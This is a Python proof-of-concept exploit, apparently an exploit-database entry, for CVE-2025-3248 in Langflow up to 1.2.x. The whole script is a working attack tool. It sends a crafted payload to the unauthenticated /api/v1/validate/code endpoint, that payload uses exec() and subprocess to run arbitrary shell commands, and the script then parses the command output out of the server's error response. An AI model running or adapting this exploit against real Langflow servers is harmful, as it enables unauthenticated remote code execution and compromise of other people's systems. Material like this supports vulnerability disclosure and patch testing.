📄 Langflow 1.2.x Remote Code Execution

#!/usr/bin/env python3
    # Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE)
    # Date: 2025-07-11
    # Exploit Author: Raghad Abdallah Al-syouf
    # Vendor Homepage: https://github.com/logspace-ai/langflow
    # Software Link: https://github.com/logspace-ai/langflow/releases
    # Version: <= 1.2.x
    # Tested on: Ubuntu / Docker
    # CVE: CVE-2025-3248
    
    # Description:
    #Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An unauthenticated remote attacker can execute arbitrary system commands.
    
    # Usage:
    #python3 cve-2025-3248.py http://target:7860 "id"
    
    
    
    import requests
    import argparse
    import json
    from urllib.parse import urljoin
    from colorama import Fore, Style, init
    import random
    
    init(autoreset=True)
    requests.packages.urllib3.disable_warnings()
    
    BANNER_COLORS = [Fore.MAGENTA, Fore.CYAN, Fore.LIGHTBLUE_EX]
    
    def show_banner():
        print(f"""{Style.BRIGHT}{random.choice(BANNER_COLORS)}
    ╔════════════════════════════════════════════════════╗
    ║          Langflow <= 1.2.x - CVE-2025-3248         ║
    ║      Remote Code Execution via exposed API         ║
    ║     No authentication — triggers exec() call       ║
    ╚════════════════════════════════════════════════════╝
           Author: Raghad Abdallah Al-syouf
    {Style.RESET_ALL}""")
    
    class LangflowRCE:
        def __init__(self, target_url, timeout=10):
            self.base_url = target_url.rstrip('/')
            self.session = requests.Session()
            self.session.verify = False
            self.session.headers = {
                "User-Agent": "Langflow-RCE-Scanner",
                "Content-Type": "application/json"
            }
            self.timeout = timeout
    
        def run_payload(self, command):
            endpoint = urljoin(self.base_url, "/api/v1/validate/code")
            payload = {
                "code": (
                    f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass"
                )
            }
    
            print(f"{Fore.YELLOW}[+] Sending crafted payload to: {endpoint}")
            try:
                response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout)
                print(f"{Fore.YELLOW}[+] HTTP {response.status_code}")
                if response.status_code == 200:
                    try:
                        json_data = response.json()
                        err = json_data.get("function", {}).get("errors", [""])[0]
                        if isinstance(err, str) and err.startswith("b'"):
                            output = err[2:-1].encode().decode("unicode_escape").strip()
                            return output or "[!] No output returned."
                    except Exception as e:
                        return f"[!] Error parsing response: {e}"
                return "[!] Target may not be vulnerable or is patched."
            except Exception as e:
                return f"[!] Request failed: {e}"
    
    def main():
        parser = argparse.ArgumentParser(description="PoC - CVE-2025-3248 | Langflow <= v1.2.x Unauthenticated RCE")
        parser.add_argument("url", help="Target URL (e.g., http://localhost:7860)")
        parser.add_argument("cmd", help="Command to execute remotely (e.g., whoami)")
        args = parser.parse_args()
    
        show_banner()
        exploit = LangflowRCE(args.url)
        result = exploit.run_payload(args.cmd)
    
        print(f"\n{Fore.GREEN}[+] Command Output:\n{Style.RESET_ALL}{result}")
    
    if __name__ == "__main__":
        main()